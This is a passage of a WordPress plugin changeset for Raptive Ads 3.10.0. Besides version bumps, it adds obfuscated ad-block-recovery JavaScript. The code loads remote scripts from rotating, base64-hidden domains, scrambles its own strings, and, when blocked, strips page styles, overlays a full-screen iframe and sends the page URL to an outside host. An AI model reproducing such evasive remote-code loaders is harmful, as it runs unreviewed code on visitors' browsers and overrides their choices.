Changeset 3387206
- Timestamp:
- 10/30/2025 04:43:42 PM (4 months ago)
- Location:
- adthrive-ads
- Files:
-
- 12 edited
- 1 copied
-
tags/3.10.0 (copied) (copied from adthrive-ads/trunk)
-
tags/3.10.0/adthrive-ads.php (modified) (2 diffs)
-
tags/3.10.0/js/adblock-recovery.js (modified) (1 diff)
-
tags/3.10.0/js/adblock-recovery.min.js (modified) (1 diff)
-
tags/3.10.0/plugin.json (modified) (1 diff)
-
tags/3.10.0/readme.txt (modified) (3 diffs)
-
tags/3.10.0/release.json (modified) (1 diff)
-
trunk/adthrive-ads.php (modified) (2 diffs)
-
trunk/js/adblock-recovery.js (modified) (1 diff)
-
trunk/js/adblock-recovery.min.js (modified) (1 diff)
-
trunk/plugin.json (modified) (1 diff)
-
trunk/readme.txt (modified) (3 diffs)
-
trunk/release.json (modified) (1 diff)
Legend:
- Unmodified
- Added
- Removed
-
adthrive-ads/tags/3.10.0/adthrive-ads.php
r3347612 r3387206 8 8 * Plugin URI: http://www.raptive.com 9 9 * Description: Raptive Ads 10 * Version: 3. 9.010 * Version: 3.10.0 11 11 * Requires at least: 4.6 12 12 * Requires PHP: 5.6 … … 33 33 defined( 'ABSPATH' ) || die; 34 34 35 define( 'ADTHRIVE_ADS_VERSION', '3. 9.0' );35 define( 'ADTHRIVE_ADS_VERSION', '3.10.0' ); 36 36 define( 'ADTHRIVE_ADS_FILE', __FILE__ ); 37 37 define( 'ADTHRIVE_ADS_PATH', plugin_dir_path( ADTHRIVE_ADS_FILE ) ); -
adthrive-ads/tags/3.10.0/js/adblock-recovery.js
r3324371 r3387206 1 (function (doc) { 2 var recovery = (function () { 3 var adBlockKey = '__adblocker'; 4 var adBlockDetectionCookie; 5 var pollForDetection; 1 (function () { 2 // Check for detection cookie 3 function checkCookie() { 4 var theCookie = document.cookie.match( 5 '(^|[^;]+)\\s*__adblocker\\s*=\\s*([^;]+)', 6 ); 7 return theCookie && theCookie.pop(); 8 } 6 9 7 function init() { 8 adBlockDetectionCookie = checkCookie(); 10 function addScripts() { 11 // First script 12 var script1 = document.createElement('script'); 13 script1.async = true; 14 script1.id = 'Tqgkgu'; 15 script1.setAttribute('data-sdk', 'l/1.1.15'); 16 script1.setAttribute('data-cfasync', 'false'); 17 script1.src = 'https://html-load.com/loader.min.js'; 18 script1.charset = 'UTF-8'; 19 script1.setAttribute( 20 'data', 21 'kfpvgbrkab9r4a5rkrqrkwagrw6rzrv8rxag0asrka5abaoagrxa5srxrxabasrkrvabaoaxrx0asrkabrxfaba1raa5a5asrkr9wa1agrw6rzr9rkaia8', 22 ); 23 script1.setAttribute( 24 'onload', 25 "(async()=>{let e='html-load.com';const t=window,a=document,r=e=>new Promise((t=>{const a=.1*e,r=e+Math.floor(2*Math.random()*a)-a;setTimeout(t,r)})),o=t.addEventListener.bind(t),n=t.postMessage.bind(t),s=btoa,i='message',l=location,c=Math.random;try{const t=()=>new Promise(((e,t)=>{let a=c().toString(),r=c().toString();o(i,(e=>e.data===a&&n(r,'*'))),o(i,(t=>t.data===r&&e())),n(a,'*'),setTimeout((()=>{t(Error('Timeout'))}),1231)})),a=async()=>{try{let e=!1;const a=c().toString();if(o(i,(t=>{t.data===a+'_as_res'&&(e=!0)})),n(a+'_as_req','*'),await t(),await r(500),e)return!0}catch(e){}return!1},s=[100,500,1e3];for(let o=0;o<=s.length&&!await a();o++){if(o===s.length-1)throw'Failed to load website properly since '+e+' is tainted. Please allow '+e;await r(s[o])}}catch(d){try{const e=a.querySelector('script#Tqgkgu').getAttribute('onerror');t[s(l.hostname+'_show_bfa')]=d,await new Promise(((t,r)=>{o('message',(e=>{'as_modal_loaded'===e.data&&t()})),setTimeout((()=>r(d)),3e3);const n=a.createElement('script');n.innerText=e,a.head.appendChild(n),n.remove()}))}catch(m){(t=>{const a='https://report.error-report.com/modal';try{confirm('There was a problem loading the page. Please click OK to learn more.')?l.href=a+'?url='+s(l.href)+'&error='+s(t)+'&domain='+e:l.reload()}catch(d){location.href=a+'?eventId=&error=Vml0YWwgQVBJIGJsb2NrZWQ%3D&domain='+e}})(d)}}})();", 26 ); 27 script1.setAttribute( 28 'onerror', 29 "(async()=>{const e=window,t=document;let r=JSON.parse(atob('WyJodG1sLWxvYWQuY29tIiwiZmIuaHRtbC1sb2FkLmNvbSIsImQzN2o4cGZ4dTJpb2dpLmNsb3VkZnJvbnQubmV0IiwiY29udGVudC1sb2FkZXIuY29tIiwiZmIuY29udGVudC1sb2FkZXIuY29tIl0=')),o=r[0];const a='addEventListener',n='setAttribute',s='getAttribute',i=location,l=clearInterval,c='as_retry',d=i.hostname,h=e.addEventListener.bind(e),m=btoa,u='https://report.error-report.com/modal',b=e=>{try{confirm('There was a problem loading the page. Please click OK to learn more.')?i.href=u+'?url='+m(i.href)+'&error='+m(e)+'&domain='+o:i.reload()}catch(t){location.href=u+'?eventId=&error=Vml0YWwgQVBJIGJsb2NrZWQ%3D&domain='+o}},p=async e=>{try{localStorage.setItem(i.host+'_fa_'+m('last_bfa_at'),Date.now().toString())}catch(p){}setInterval((()=>t.querySelectorAll('link,style').forEach((e=>e.remove()))),100);const r=await fetch('https://error-report.com/report?type=loader_light&url='+m(i.href)+'&error='+m(e),{method:'POST'}).then((e=>e.text())),a=new Promise((e=>{h('message',(t=>{'as_modal_loaded'===t.data&&e()}))}));let s=t.createElement('iframe');s.src=u+'?url='+m(i.href)+'&eventId='+r+'&error='+m(e)+'&domain='+o,s[n]('style','width:100vw;height:100vh;z-index:2147483647;position:fixed;left:0;top:0;');const c=e=>{'close-error-report'===e.data&&(s.remove(),removeEventListener('message',c))};h('message',c),t.body.appendChild(s);const d=setInterval((()=>{if(!t.contains(s))return l(d);(()=>{const e=s.getBoundingClientRect();return'none'!==getComputedStyle(s).display&&0!==e.width&&0!==e.height})()||(l(d),b(e))}),1e3);await new Promise(((t,r)=>{a.then(t),setTimeout((()=>r(e)),3e3)}))},f=m(d+'_show_bfa');if(e[f])p(e[f]);else try{if(void 0===e[c]&&(e[c]=0),e[c]>=r.length)throw'Failed to load website properly since '+o+' is blocked. Please allow '+o;if((()=>{const t=e=>{let t=0;for(let r=0,o=e.length;o>r;r++)t=(t<<5)-t+e.charCodeAt(r),t|=0;return t},r=Date.now(),o=r-r%864e5,a=o-864e5,n=o+864e5,s='loader-check',i='as_'+t(s+'_'+o),l='as_'+t(s+'_'+a),c='as_'+t(s+'_'+n);return i!==l&&i!==c&&l!==c&&!!(e[i]||e[l]||e[c])})())return;const i=t.querySelector('#Tqgkgu'),l=t.createElement('script');for(let e=0;e<i.attributes.length;e++)l[n](i.attributes[e].name,i.attributes[e].value);const h=m(d+'_onload');e[h]&&l[a]('load',e[h]);const u=m(d+'_onerror');e[u]&&l[a]('error',e[u]);const b=new e.URL(i[s]('src'));b.host=r[e[c]++],l[n]('src',b.href),i[n]('id',i[s]('id')+'_'),i.parentNode.insertBefore(l,i),i.remove()}catch(w){try{await p(w)}catch(w){b(w)}}})();", 30 ); 9 31 10 if (adBlockDetectionCookie === 'true') { 11 addRecoveryScript(); 12 } else { 13 checkForAdBlockDetection(); 14 } 15 } 32 document.head.appendChild(script1); 16 33 17 function addRecoveryScript() { 18 var script = doc.createElement('script'); 19 script.src = 'https://cafemedia-com.videoplayerhub.com/galleryplayer.js'; 20 doc.head.appendChild(script); 21 } 34 // Second script 35 var script2 = document.createElement('script'); 36 script2.setAttribute('data-cfasync', 'false'); 37 script2.setAttribute('nowprocket', ''); 38 script2.textContent = 39 "(async()=>{function t(t) { const e = t.length; let o = ''; for (let r = 0; e > r; r++) { o += t[2939 * (r + 20) % e] } return o }const e=window,o=t('Elementcreate'),r=t('pielnddaCph'),n=t('erdeLtedvtsnaEni'),c=t('tAtesetubirt'),a=document,i=a.head,s=a[o].bind(a),d=i[r].bind(i),l=location,m=l.hostname,h=btoa;e[n].bind(e);let u=t('oad.comhtml-l');(async()=>{try{const n=a.querySelector(t('#Tqgkguscript'));if(!n)throw t('onnaC dnif t')+u+t('i.cp rts');const i=n.getAttribute(t('nororre')),f=n.getAttribute(t('aolnod')),p=await new Promise((o=>{const r=t('x')+Math.floor(1e6*Math.random());e[r]=()=>o(!0);const n=s(t('pircst'));n.src=t(':atad;'),n[c](t('nororre'),t('iw.wodn')+r+t('()')),d(n),setTimeout((()=>{o(!1), n.remove()}),251)}));if(p)return;function o(){const e=s(t('pircst'));e.innerText=i,d(e),e.remove()}const b=h(m+t('o_daoln')),w=h(m+t('rrnr_eoo'));e[b]=function(){const e=s(t('pircst'));e.innerText=f,d(e),e.remove()},e[w]=o,o()}catch(r){(e => { const o = t('ro/treeol/t-.dsoormterpmh/.rca:rrtopp'); try { const r = t('cleopr eges.eke aremtc. m Ta apdo ool t ahrOsaibwr iPhl enKegnlael'); confirm(r) ? l.href = o + t('?=lru') + h(l.href) + t('e&=rorr') + h(e) + t('a=oi&mnd') + u : l.reload() } catch (r) { location.href = o + t('J%ndVVNdvrYGQiI=Q2&ee0IWatrgbD?&lJZmnows3==mBroerW') + u } })(r)}})()})();"; 22 40 23 function checkCookie() { 24 var adBlockCookie = doc.cookie.match( 25 '(^|[^;]+)\\s*' + adBlockKey + '\\s*=\\s*([^;]+)', 26 ); 27 return adBlockCookie && adBlockCookie.pop(); 28 } 41 document.head.appendChild(script2); 42 } 29 43 30 function checkForAdBlockDetection() { 44 function init() { 45 var detectionCookie = checkCookie(); 46 47 if (detectionCookie === 'true') { 48 addScripts(); 49 } else { 50 // Poll for cookie to be set 31 51 var counter = 0; 32 pollForDetection = setInterval(function () { 33 if (counter === 100 || adBlockDetectionCookie === 'false') clearPoll(); 34 if (adBlockDetectionCookie === 'true') { 35 addRecoveryScript(); 36 clearPoll(); 52 var pollForDetection = setInterval(function () { 53 if (counter === 100 || detectionCookie === 'false') { 54 clearInterval(pollForDetection); 55 return; 37 56 } 38 adBlockDetectionCookie = checkCookie(); 57 if (detectionCookie === 'true') { 58 addScripts(); 59 clearInterval(pollForDetection); 60 return; 61 } 62 detectionCookie = checkCookie(); 39 63 counter++; 40 64 }, 50); 41 65 } 66 } 42 67 43 function clearPoll() { 44 clearInterval(pollForDetection); 45 } 46 47 return { 48 init: init, 49 }; 50 })(); 51 52 recovery.init(); 53 })(document); 68 init(); 69 })(); -
adthrive-ads/tags/3.10.0/js/adblock-recovery.min.js
r3347612 r3387206 1 !function( e){(function(){var n,t;function r(){var n=e.createElement("script");n.src="https://cafemedia-com.videoplayerhub.com/galleryplayer.js",e.head.appendChild(n)}function a(){var n=e.cookie.match("(^|[^;]+)\\s*__adblocker\\s*=\\s*([^;]+)");return n&&n.pop()}function c(){clearInterval(t)}return{init:function(){var e;"true"===(n=a())?r():(e=0,t=setInterval(function(){100!==e&&"false"!==n||c(),"true"===n&&(r(),c()),n=a(),e++},50))}}})().init()}(document);1 !function(){function e(){var e=document.cookie.match("(^|[^;]+)\\s*__adblocker\\s*=\\s*([^;]+)");return e&&e.pop()}function t(){var e=document.createElement("script");e.async=!0,e.id="Tqgkgu",e.setAttribute("data-sdk","l/1.1.15"),e.setAttribute("data-cfasync","false"),e.src="https://html-load.com/loader.min.js",e.charset="UTF-8",e.setAttribute("data","kfpvgbrkab9r4a5rkrqrkwagrw6rzrv8rxag0asrka5abaoagrxa5srxrxabasrkrvabaoaxrx0asrkabrxfaba1raa5a5asrkr9wa1agrw6rzr9rkaia8"),e.setAttribute("onload","(async()=>{let e='html-load.com';const t=window,a=document,r=e=>new Promise((t=>{const a=.1*e,r=e+Math.floor(2*Math.random()*a)-a;setTimeout(t,r)})),o=t.addEventListener.bind(t),n=t.postMessage.bind(t),s=btoa,i='message',l=location,c=Math.random;try{const t=()=>new Promise(((e,t)=>{let a=c().toString(),r=c().toString();o(i,(e=>e.data===a&&n(r,'*'))),o(i,(t=>t.data===r&&e())),n(a,'*'),setTimeout((()=>{t(Error('Timeout'))}),1231)})),a=async()=>{try{let e=!1;const a=c().toString();if(o(i,(t=>{t.data===a+'_as_res'&&(e=!0)})),n(a+'_as_req','*'),await t(),await r(500),e)return!0}catch(e){}return!1},s=[100,500,1e3];for(let o=0;o<=s.length&&!await a();o++){if(o===s.length-1)throw'Failed to load website properly since '+e+' is tainted. Please allow '+e;await r(s[o])}}catch(d){try{const e=a.querySelector('script#Tqgkgu').getAttribute('onerror');t[s(l.hostname+'_show_bfa')]=d,await new Promise(((t,r)=>{o('message',(e=>{'as_modal_loaded'===e.data&&t()})),setTimeout((()=>r(d)),3e3);const n=a.createElement('script');n.innerText=e,a.head.appendChild(n),n.remove()}))}catch(m){(t=>{const a='https://report.error-report.com/modal';try{confirm('There was a problem loading the page. Please click OK to learn more.')?l.href=a+'?url='+s(l.href)+'&error='+s(t)+'&domain='+e:l.reload()}catch(d){location.href=a+'?eventId=&error=Vml0YWwgQVBJIGJsb2NrZWQ%3D&domain='+e}})(d)}}})();"),e.setAttribute("onerror","(async()=>{const e=window,t=document;let r=JSON.parse(atob('WyJodG1sLWxvYWQuY29tIiwiZmIuaHRtbC1sb2FkLmNvbSIsImQzN2o4cGZ4dTJpb2dpLmNsb3VkZnJvbnQubmV0IiwiY29udGVudC1sb2FkZXIuY29tIiwiZmIuY29udGVudC1sb2FkZXIuY29tIl0=')),o=r[0];const a='addEventListener',n='setAttribute',s='getAttribute',i=location,l=clearInterval,c='as_retry',d=i.hostname,h=e.addEventListener.bind(e),m=btoa,u='https://report.error-report.com/modal',b=e=>{try{confirm('There was a problem loading the page. Please click OK to learn more.')?i.href=u+'?url='+m(i.href)+'&error='+m(e)+'&domain='+o:i.reload()}catch(t){location.href=u+'?eventId=&error=Vml0YWwgQVBJIGJsb2NrZWQ%3D&domain='+o}},p=async e=>{try{localStorage.setItem(i.host+'_fa_'+m('last_bfa_at'),Date.now().toString())}catch(p){}setInterval((()=>t.querySelectorAll('link,style').forEach((e=>e.remove()))),100);const r=await fetch('https://error-report.com/report?type=loader_light&url='+m(i.href)+'&error='+m(e),{method:'POST'}).then((e=>e.text())),a=new Promise((e=>{h('message',(t=>{'as_modal_loaded'===t.data&&e()}))}));let s=t.createElement('iframe');s.src=u+'?url='+m(i.href)+'&eventId='+r+'&error='+m(e)+'&domain='+o,s[n]('style','width:100vw;height:100vh;z-index:2147483647;position:fixed;left:0;top:0;');const c=e=>{'close-error-report'===e.data&&(s.remove(),removeEventListener('message',c))};h('message',c),t.body.appendChild(s);const d=setInterval((()=>{if(!t.contains(s))return l(d);(()=>{const e=s.getBoundingClientRect();return'none'!==getComputedStyle(s).display&&0!==e.width&&0!==e.height})()||(l(d),b(e))}),1e3);await new Promise(((t,r)=>{a.then(t),setTimeout((()=>r(e)),3e3)}))},f=m(d+'_show_bfa');if(e[f])p(e[f]);else try{if(void 0===e[c]&&(e[c]=0),e[c]>=r.length)throw'Failed to load website properly since '+o+' is blocked. Please allow '+o;if((()=>{const t=e=>{let t=0;for(let r=0,o=e.length;o>r;r++)t=(t<<5)-t+e.charCodeAt(r),t|=0;return t},r=Date.now(),o=r-r%864e5,a=o-864e5,n=o+864e5,s='loader-check',i='as_'+t(s+'_'+o),l='as_'+t(s+'_'+a),c='as_'+t(s+'_'+n);return i!==l&&i!==c&&l!==c&&!!(e[i]||e[l]||e[c])})())return;const i=t.querySelector('#Tqgkgu'),l=t.createElement('script');for(let e=0;e<i.attributes.length;e++)l[n](i.attributes[e].name,i.attributes[e].value);const h=m(d+'_onload');e[h]&&l[a]('load',e[h]);const u=m(d+'_onerror');e[u]&&l[a]('error',e[u]);const b=new e.URL(i[s]('src'));b.host=r[e[c]++],l[n]('src',b.href),i[n]('id',i[s]('id')+'_'),i.parentNode.insertBefore(l,i),i.remove()}catch(w){try{await p(w)}catch(w){b(w)}}})();"),document.head.appendChild(e);var t=document.createElement("script");t.setAttribute("data-cfasync","false"),t.setAttribute("nowprocket",""),t.textContent="(async()=>{function t(t) { const e = t.length; let o = ''; for (let r = 0; e > r; r++) { o += t[2939 * (r + 20) % e] } return o }const e=window,o=t('Elementcreate'),r=t('pielnddaCph'),n=t('erdeLtedvtsnaEni'),c=t('tAtesetubirt'),a=document,i=a.head,s=a[o].bind(a),d=i[r].bind(i),l=location,m=l.hostname,h=btoa;e[n].bind(e);let u=t('oad.comhtml-l');(async()=>{try{const n=a.querySelector(t('#Tqgkguscript'));if(!n)throw t('onnaC dnif t')+u+t('i.cp rts');const i=n.getAttribute(t('nororre')),f=n.getAttribute(t('aolnod')),p=await new Promise((o=>{const r=t('x')+Math.floor(1e6*Math.random());e[r]=()=>o(!0);const n=s(t('pircst'));n.src=t(':atad;'),n[c](t('nororre'),t('iw.wodn')+r+t('()')),d(n),setTimeout((()=>{o(!1), n.remove()}),251)}));if(p)return;function o(){const e=s(t('pircst'));e.innerText=i,d(e),e.remove()}const b=h(m+t('o_daoln')),w=h(m+t('rrnr_eoo'));e[b]=function(){const e=s(t('pircst'));e.innerText=f,d(e),e.remove()},e[w]=o,o()}catch(r){(e => { const o = t('ro/treeol/t-.dsoormterpmh/.rca:rrtopp'); try { const r = t('cleopr eges.eke aremtc. m Ta apdo ool t ahrOsaibwr iPhl enKegnlael'); confirm(r) ? l.href = o + t('?=lru') + h(l.href) + t('e&=rorr') + h(e) + t('a=oi&mnd') + u : l.reload() } catch (r) { location.href = o + t('J%ndVVNdvrYGQiI=Q2&ee0IWatrgbD?&lJZmnows3==mBroerW') + u } })(r)}})()})();",document.head.appendChild(t)}!function(){var r=e();if("true"===r)t();else var o=0,a=setInterval(function(){if(100!==o&&"false"!==r){if("true"===r)return t(),void clearInterval(a);r=e(),o++}else clearInterval(a)},50)}()}(); -
adthrive-ads/tags/3.10.0/plugin.json
r3347612 r3387206 1 1 { 2 "stable": "3. 9.0",2 "stable": "3.10.0", 3 3 "tested": "6.8", 4 4 "requires": "4.6", -
adthrive-ads/tags/3.10.0/readme.txt
r3347612 r3387206 3 3 Tags: ads raptive 4 4 Tested up to: 6.8 5 Stable tag: 3. 9.05 Stable tag: 3.10.0 6 6 License: GPLv2 or later 7 7 License URI: http://www.gnu.org/licenses/gpl-2.0.html … … 31 31 32 32 == Changelog == 33 34 = 3.10.0 = 35 * Improved ad block recovery 33 36 34 37 = 3.9.0 = … … 62 65 * Security patch 63 66 64 = 3.6.3 =65 * Removed custom update checker66 -
adthrive-ads/tags/3.10.0/release.json
r3347612 r3387206 1 1 { 2 "stable": "3. 9.0",2 "stable": "3.10.0", 3 3 "tested": "6.8", 4 4 "requires": "4.6", 5 5 "requires_php": "5.6", 6 "version": "3. 9.0",7 "changelog": "== Changelog ==\n\n= 3. 9.0 =\n* Improved PHP 7.4+ compatibility\n* Remove the unused features\n* Security patch\n\n= 3.8.0 =\n* Move Raptive's Comscore script into the plugin. This update allows the script to load quicker, providing more accurate tracking and measurement of Raptive traffic.\n\n= 3.7.7 =\n* Use IdentityAPI for privacy compliant localStorage access\n* Fix issue with adt_ei url params being cached in pagination links\n\n= 3.7.6 =\n* Ensure browser storage use with user consent\n\n= 3.7.5 =\n* Tested up to 6.8\n\n= 3.7.4 =\n* Security patch\n\n= 3.7.3 =\n* Layout bug fix\n\n= 3.7.2 =\n* Improved Pagination\n\n= 3.7.1 =\n* Security patch\n\n= 3.6.3 =\n* Removed custom update checker\n"6 "version": "3.10.0", 7 "changelog": "== Changelog ==\n\n= 3.10.0 =\n* Improved ad block recovery\n\n= 3.9.0 =\n* Improved PHP 7.4+ compatibility\n* Remove the unused features\n* Security patch\n\n= 3.8.0 =\n* Move Raptive's Comscore script into the plugin. This update allows the script to load quicker, providing more accurate tracking and measurement of Raptive traffic.\n\n= 3.7.7 =\n* Use IdentityAPI for privacy compliant localStorage access\n* Fix issue with adt_ei url params being cached in pagination links\n\n= 3.7.6 =\n* Ensure browser storage use with user consent\n\n= 3.7.5 =\n* Tested up to 6.8\n\n= 3.7.4 =\n* Security patch\n\n= 3.7.3 =\n* Layout bug fix\n\n= 3.7.2 =\n* Improved Pagination\n\n= 3.7.1 =\n* Security patch\n" 8 8 } -
adthrive-ads/trunk/adthrive-ads.php
r3347612 r3387206 8 8 * Plugin URI: http://www.raptive.com 9 9 * Description: Raptive Ads 10 * Version: 3. 9.010 * Version: 3.10.0 11 11 * Requires at least: 4.6 12 12 * Requires PHP: 5.6 … … 33 33 defined( 'ABSPATH' ) || die; 34 34 35 define( 'ADTHRIVE_ADS_VERSION', '3. 9.0' );35 define( 'ADTHRIVE_ADS_VERSION', '3.10.0' ); 36 36 define( 'ADTHRIVE_ADS_FILE', __FILE__ ); 37 37 define( 'ADTHRIVE_ADS_PATH', plugin_dir_path( ADTHRIVE_ADS_FILE ) ); -
adthrive-ads/trunk/js/adblock-recovery.js
r3324371 r3387206 1 (function (doc) { 2 var recovery = (function () { 3 var adBlockKey = '__adblocker'; 4 var adBlockDetectionCookie; 5 var pollForDetection; 1 (function () { 2 // Check for detection cookie 3 function checkCookie() { 4 var theCookie = document.cookie.match( 5 '(^|[^;]+)\\s*__adblocker\\s*=\\s*([^;]+)', 6 ); 7 return theCookie && theCookie.pop(); 8 } 6 9 7 function init() { 8 adBlockDetectionCookie = checkCookie(); 10 function addScripts() { 11 // First script 12 var script1 = document.createElement('script'); 13 script1.async = true; 14 script1.id = 'Tqgkgu'; 15 script1.setAttribute('data-sdk', 'l/1.1.15'); 16 script1.setAttribute('data-cfasync', 'false'); 17 script1.src = 'https://html-load.com/loader.min.js'; 18 script1.charset = 'UTF-8'; 19 script1.setAttribute( 20 'data', 21 'kfpvgbrkab9r4a5rkrqrkwagrw6rzrv8rxag0asrka5abaoagrxa5srxrxabasrkrvabaoaxrx0asrkabrxfaba1raa5a5asrkr9wa1agrw6rzr9rkaia8', 22 ); 23 script1.setAttribute( 24 'onload', 25 "(async()=>{let e='html-load.com';const t=window,a=document,r=e=>new Promise((t=>{const a=.1*e,r=e+Math.floor(2*Math.random()*a)-a;setTimeout(t,r)})),o=t.addEventListener.bind(t),n=t.postMessage.bind(t),s=btoa,i='message',l=location,c=Math.random;try{const t=()=>new Promise(((e,t)=>{let a=c().toString(),r=c().toString();o(i,(e=>e.data===a&&n(r,'*'))),o(i,(t=>t.data===r&&e())),n(a,'*'),setTimeout((()=>{t(Error('Timeout'))}),1231)})),a=async()=>{try{let e=!1;const a=c().toString();if(o(i,(t=>{t.data===a+'_as_res'&&(e=!0)})),n(a+'_as_req','*'),await t(),await r(500),e)return!0}catch(e){}return!1},s=[100,500,1e3];for(let o=0;o<=s.length&&!await a();o++){if(o===s.length-1)throw'Failed to load website properly since '+e+' is tainted. Please allow '+e;await r(s[o])}}catch(d){try{const e=a.querySelector('script#Tqgkgu').getAttribute('onerror');t[s(l.hostname+'_show_bfa')]=d,await new Promise(((t,r)=>{o('message',(e=>{'as_modal_loaded'===e.data&&t()})),setTimeout((()=>r(d)),3e3);const n=a.createElement('script');n.innerText=e,a.head.appendChild(n),n.remove()}))}catch(m){(t=>{const a='https://report.error-report.com/modal';try{confirm('There was a problem loading the page. Please click OK to learn more.')?l.href=a+'?url='+s(l.href)+'&error='+s(t)+'&domain='+e:l.reload()}catch(d){location.href=a+'?eventId=&error=Vml0YWwgQVBJIGJsb2NrZWQ%3D&domain='+e}})(d)}}})();", 26 ); 27 script1.setAttribute( 28 'onerror', 29 "(async()=>{const e=window,t=document;let r=JSON.parse(atob('WyJodG1sLWxvYWQuY29tIiwiZmIuaHRtbC1sb2FkLmNvbSIsImQzN2o4cGZ4dTJpb2dpLmNsb3VkZnJvbnQubmV0IiwiY29udGVudC1sb2FkZXIuY29tIiwiZmIuY29udGVudC1sb2FkZXIuY29tIl0=')),o=r[0];const a='addEventListener',n='setAttribute',s='getAttribute',i=location,l=clearInterval,c='as_retry',d=i.hostname,h=e.addEventListener.bind(e),m=btoa,u='https://report.error-report.com/modal',b=e=>{try{confirm('There was a problem loading the page. Please click OK to learn more.')?i.href=u+'?url='+m(i.href)+'&error='+m(e)+'&domain='+o:i.reload()}catch(t){location.href=u+'?eventId=&error=Vml0YWwgQVBJIGJsb2NrZWQ%3D&domain='+o}},p=async e=>{try{localStorage.setItem(i.host+'_fa_'+m('last_bfa_at'),Date.now().toString())}catch(p){}setInterval((()=>t.querySelectorAll('link,style').forEach((e=>e.remove()))),100);const r=await fetch('https://error-report.com/report?type=loader_light&url='+m(i.href)+'&error='+m(e),{method:'POST'}).then((e=>e.text())),a=new Promise((e=>{h('message',(t=>{'as_modal_loaded'===t.data&&e()}))}));let s=t.createElement('iframe');s.src=u+'?url='+m(i.href)+'&eventId='+r+'&error='+m(e)+'&domain='+o,s[n]('style','width:100vw;height:100vh;z-index:2147483647;position:fixed;left:0;top:0;');const c=e=>{'close-error-report'===e.data&&(s.remove(),removeEventListener('message',c))};h('message',c),t.body.appendChild(s);const d=setInterval((()=>{if(!t.contains(s))return l(d);(()=>{const e=s.getBoundingClientRect();return'none'!==getComputedStyle(s).display&&0!==e.width&&0!==e.height})()||(l(d),b(e))}),1e3);await new Promise(((t,r)=>{a.then(t),setTimeout((()=>r(e)),3e3)}))},f=m(d+'_show_bfa');if(e[f])p(e[f]);else try{if(void 0===e[c]&&(e[c]=0),e[c]>=r.length)throw'Failed to load website properly since '+o+' is blocked. Please allow '+o;if((()=>{const t=e=>{let t=0;for(let r=0,o=e.length;o>r;r++)t=(t<<5)-t+e.charCodeAt(r),t|=0;return t},r=Date.now(),o=r-r%864e5,a=o-864e5,n=o+864e5,s='loader-check',i='as_'+t(s+'_'+o),l='as_'+t(s+'_'+a),c='as_'+t(s+'_'+n);return i!==l&&i!==c&&l!==c&&!!(e[i]||e[l]||e[c])})())return;const i=t.querySelector('#Tqgkgu'),l=t.createElement('script');for(let e=0;e<i.attributes.length;e++)l[n](i.attributes[e].name,i.attributes[e].value);const h=m(d+'_onload');e[h]&&l[a]('load',e[h]);const u=m(d+'_onerror');e[u]&&l[a]('error',e[u]);const b=new e.URL(i[s]('src'));b.host=r[e[c]++],l[n]('src',b.href),i[n]('id',i[s]('id')+'_'),i.parentNode.insertBefore(l,i),i.remove()}catch(w){try{await p(w)}catch(w){b(w)}}})();", 30 ); 9 31 10 if (adBlockDetectionCookie === 'true') { 11 addRecoveryScript(); 12 } else { 13 checkForAdBlockDetection(); 14 } 15 } 32 document.head.appendChild(script1); 16 33 17 function addRecoveryScript() { 18 var script = doc.createElement('script'); 19 script.src = 'https://cafemedia-com.videoplayerhub.com/galleryplayer.js'; 20 doc.head.appendChild(script); 21 } 34 // Second script 35 var script2 = document.createElement('script'); 36 script2.setAttribute('data-cfasync', 'false'); 37 script2.setAttribute('nowprocket', ''); 38 script2.textContent = 39 "(async()=>{function t(t) { const e = t.length; let o = ''; for (let r = 0; e > r; r++) { o += t[2939 * (r + 20) % e] } return o }const e=window,o=t('Elementcreate'),r=t('pielnddaCph'),n=t('erdeLtedvtsnaEni'),c=t('tAtesetubirt'),a=document,i=a.head,s=a[o].bind(a),d=i[r].bind(i),l=location,m=l.hostname,h=btoa;e[n].bind(e);let u=t('oad.comhtml-l');(async()=>{try{const n=a.querySelector(t('#Tqgkguscript'));if(!n)throw t('onnaC dnif t')+u+t('i.cp rts');const i=n.getAttribute(t('nororre')),f=n.getAttribute(t('aolnod')),p=await new Promise((o=>{const r=t('x')+Math.floor(1e6*Math.random());e[r]=()=>o(!0);const n=s(t('pircst'));n.src=t(':atad;'),n[c](t('nororre'),t('iw.wodn')+r+t('()')),d(n),setTimeout((()=>{o(!1), n.remove()}),251)}));if(p)return;function o(){const e=s(t('pircst'));e.innerText=i,d(e),e.remove()}const b=h(m+t('o_daoln')),w=h(m+t('rrnr_eoo'));e[b]=function(){const e=s(t('pircst'));e.innerText=f,d(e),e.remove()},e[w]=o,o()}catch(r){(e => { const o = t('ro/treeol/t-.dsoormterpmh/.rca:rrtopp'); try { const r = t('cleopr eges.eke aremtc. m Ta apdo ool t ahrOsaibwr iPhl enKegnlael'); confirm(r) ? l.href = o + t('?=lru') + h(l.href) + t('e&=rorr') + h(e) + t('a=oi&mnd') + u : l.reload() } catch (r) { location.href = o + t('J%ndVVNdvrYGQiI=Q2&ee0IWatrgbD?&lJZmnows3==mBroerW') + u } })(r)}})()})();"; 22 40 23 function checkCookie() { 24 var adBlockCookie = doc.cookie.match( 25 '(^|[^;]+)\\s*' + adBlockKey + '\\s*=\\s*([^;]+)', 26 ); 27 return adBlockCookie && adBlockCookie.pop(); 28 } 41 document.head.appendChild(script2); 42 } 29 43 30 function checkForAdBlockDetection() { 44 function init() { 45 var detectionCookie = checkCookie(); 46 47 if (detectionCookie === 